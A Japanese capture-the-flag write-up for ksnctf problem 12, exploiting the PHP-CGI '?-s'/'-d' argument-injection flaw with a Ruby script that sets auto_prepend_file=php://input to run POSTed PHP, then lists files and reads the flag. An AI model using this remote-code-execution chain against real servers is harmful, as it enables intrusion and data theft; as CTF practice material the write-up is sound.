--
ksnctfにチャレンジ 第12問目です。
※ksnctfは常駐型のCTFサイトです。 ※問題のページはコチラです。
Hypertext Preprocessor
タイトルの Hypertext Preprocessor とは PHP言語のことです。 CTFでPHP題材となると とりあえず -s は試します。
同じ出題が 8946 でも出ているレベルです。
CGI版PHPの過去のあるバージョンにおいて 末尾に ?-s を追加すると コマンドラインで $ php ./hoge.php -s を実行するのと同じ状態になり。 わざわざ適切に整形された状態で ソースコードが閲覧できてしまうという有名な脆弱性です。
これが使えると -d オプションなどで php の設定も 自由に変更できます。
やはり通りました。
ここからどうするか、ですが、 先述の通り -s オプションと同じように -d オプションで PHPの設定を変更することができてしまいます。
ここで以下の設定を変更します
allow_url_include=On
auto_prepend_file=php://input
1行目は PHPがURL形式の外部データを include することを許可するという設定 もう1つは auto_prepend_file の設定です。
これは、 対象のPHPプログラムが動作する直前に指定したプログラムファイルを 実行してくれる という機能で スクリプトに手を加えずにパラメータを調整して部分ごとのテストを したりする場合に使う機能です。
そして、 この直前処理するためのファイルとして php://input を指定します。 php:// は入出力ストリームへの アクセスを提供していて、 php://input は POSTされたデータのことです。
つまりこの2つの設定は POSTで送信されてきたデータをPHPのプログラムとしてまず実行せよ というかなり恐ろしい命令を構成することになります。
以上より 以下のRubyプログラムで
#!/usr/bin/ruby
require 'net/http'
uri=URI.parse('http://ctfq.sweetduet.info:10080/~q12/')
option='?-dallow_url_include%3DOn-dauto_prepend_file%3Dphp://input'
payload="<?php 任意のPHPコード ?>"
http=Net::HTTP.new(uri.host)
http.start{
resp=http.post( uri.path+option, payload )
puts resp.body
}
任意のPHPプログラムを実行できるようになります。
まずは
payload= "<?php $a = scandir('.'); foreach($a as $file){ print $file.'\n';} ?>"
を指定して、フォルダ内のデータを一覧させます。
FLAGが記録されているのは flag_flag_flag.txt とわかります。
よって
payload = "<?php print readfile('./flag_flag_flag.txt'); ?>"
おしまいです。